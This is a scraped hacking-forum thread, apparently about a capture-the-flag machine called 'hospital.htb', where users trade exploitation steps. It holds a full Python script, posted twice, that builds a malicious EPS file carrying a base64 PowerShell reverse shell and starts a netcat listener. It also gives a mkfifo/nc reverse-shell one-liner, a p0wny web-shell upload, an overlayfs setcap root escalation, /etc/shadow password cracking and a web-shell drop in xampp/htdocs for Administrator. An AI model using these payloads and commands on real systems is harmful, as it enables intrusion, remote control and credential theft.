[hcker01]

can't run winpeas any hints for admin

[hcker01]

can't run winpeas any hints for admin

have you found a way to administrator?

you can write in a special folder and you gain admin

[m1lk]

can't run winpeas any hints for admin

have you found a way to administrator?

you can write in a special folder and you gain admin

which folder?

[chillywilly]

revised the exploit to be easier for the scrubs

import argparse import os import re import subprocess import base64 def get_user_input():     ip_command = "ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1"     ip = subprocess.check_output(ip_command, shell=True).decode().strip()     print(f"Detected Tun0 IP: {ip}")     user_ip = input("Enter to accept IP or type new IP: ")     ip = user_ip if user_ip else ip     port = input("Enter NetCat connect back port: ")     filename = input("Enter filename: ")     return ip, port, filename def generate_payload(ip, port):     payload = f"""$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(( $i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()"""     base64_payload = base64.b64encode(payload.encode('utf-16le')).decode()     final_payload = f"powershell -e {base64_payload}"     escaped_payload = f"(%pipe%{final_payload}) (w) file /DCTDecode filter"     return escaped_payload def generate_payload_file(filename, payload):     content = f"""%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 300 300 %%Title: Malicious EPS /Times-Roman findfont 24 scalefont setfont newpath 50 200 moveto (Sup breachforums!) show newpath 30 100 moveto 60 230 lineto 90 100 lineto stroke {payload} showpage"""     filename = filename + '.eps'     with open(filename, 'w') as file:         file.write(content) def main():     ip, port, filename = get_user_input()     payload = generate_payload(ip, port)     generate_payload_file(filename, payload)     print(f"\n[+] Generated malicious .eps file: {filename}.eps")     print(f"[+] Popping your courtesy netcat shell: {ip} -lvnp {port}")     print(f"[+] Log into RoundCubeMail and reply to Dr Brown's email, \n    attach {filename}.eps and send. Rev Shell takes a few seconds :)")     command = f'qterminal -e "bash -c \'nc -lvnp {port}; exec bash\'"'     subprocess.Popen(command, shell=True) if __name__ == "__main__":     main()

[m1lk]

Okay here is short summary on what to do:

upload:
https://github.com/flozz/p0wny-shell
acces via web /uploads/filename
get shell as www-data in browser
get to netcat shell with rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc yourip 443 >/tmp/f
get root shell with
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash -i")'

check here:
https://www.reddit.com/r/selfhosted/comm...e20232640/

get /etc/shadow and creck drwilliams password

use drwilliams password to login on https (the mail application)
with drwilliams@hospital.htb
and his password

read the mail in the inbox

use this exploit https://github.com/jakabakos/CVE-2023-36...-injection

to craft an malicious .eps file
send this as answer to the mail
-> you get an user shell on hospital
get user flag

root can you find out yourself easily

That's awsome!!
I used the cve and created a .esp file.
python3 exploit.py --generate --revshell -ip 10.10.14.8 -port 4444 --filename good --extension eps
Then, reply the eamil. but did not get the reverse shell. did I do anything wrong??

I know the reason now LOL
Thank you

python3 CVE_2023_36664_exploit.py --inject --payload " payloadhere" --filename file.eps

i used powershell3 base64

This one worked for me

---

revised the exploit to be easier for the scrubs

import argparse import os import re import subprocess import base64 def get_user_input():     ip_command = "ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1"     ip = subprocess.check_output(ip_command, shell=True).decode().strip()     print(f"Detected Tun0 IP: {ip}")     user_ip = input("Enter to accept IP or type new IP: ")     ip = user_ip if user_ip else ip     port = input("Enter NetCat connect back port: ")     filename = input("Enter filename: ")     return ip, port, filename def generate_payload(ip, port):     payload = f"""$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(( $i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()"""     base64_payload = base64.b64encode(payload.encode('utf-16le')).decode()     final_payload = f"powershell -e {base64_payload}"     escaped_payload = f"(%pipe%{final_payload}) (w) file /DCTDecode filter"     return escaped_payload def generate_payload_file(filename, payload):     content = f"""%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 300 300 %%Title: Malicious EPS /Times-Roman findfont 24 scalefont setfont newpath 50 200 moveto (Sup breachforums!) show newpath 30 100 moveto 60 230 lineto 90 100 lineto stroke {payload} showpage"""     filename = filename + '.eps'     with open(filename, 'w') as file:         file.write(content) def main():     ip, port, filename = get_user_input()     payload = generate_payload(ip, port)     generate_payload_file(filename, payload)     print(f"\n[+] Generated malicious .eps file: {filename}.eps")     print(f"[+] Popping your courtesy netcat shell: {ip} -lvnp {port}")     print(f"[+] Log into RoundCubeMail and reply to Dr Brown's email, \n    attach {filename}.eps and send. Rev Shell takes a few seconds :)")     command = f'qterminal -e "bash -c \'nc -lvnp {port}; exec bash\'"'     subprocess.Popen(command, shell=True) if __name__ == "__main__":     main()

Good stuff sir

[th3strik3r]

Can anyone help me to Administrator? Stuck with that :v

Hint is using RDP )) but i think u need revert machine before using it ))

same. they said the administrator is easy to find. but I cannot. sad

I got it, it not unattended -> very easy :3

---

Can anyone help me to Administrator? Stuck with that :v

same. they said the administrator is easy to find. but I cannot. sad

I got it, it not unattended -> very easy :3

where? LOL

Using RPC with normal user ))

Same. Stuck on getting Administrator I am not very good with Windows Priv Esc

[hcker01]

can't run winpeas any hints for admin

have you found a way to administrator?

you can write in a special folder and you gain admin

which folder?

xampp/htdocs

[nenandjabhata]

can't run winpeas any hints for admin

have you found a way to administrator?

you can write in a special folder and you gain admin

which folder?

xampp/htdocs

Can you detaille for administrator please

[take1312]

have you found a way to administrator?

you can write in a special folder and you gain admin

which folder?

xampp/htdocs

Can you detaille for administrator please

Webserver hosts files in this folder (check the names and see if you can access them)
-> yes you can (e.g. index.php via https)
upload shell there 
acess it
recieve root shell

[intersteller2038]

you can write in a special folder and you gain admin

which folder?

xampp/htdocs

Can you detaille for administrator please

Webserver hosts files in this folder (check the names and see if you can access them)
-> yes you can (e.g. index.php via https)
upload shell there 
acess it
recieve root shell

I became administrator, but what in the machine indicates that I would become admin if I put a shell in that folder?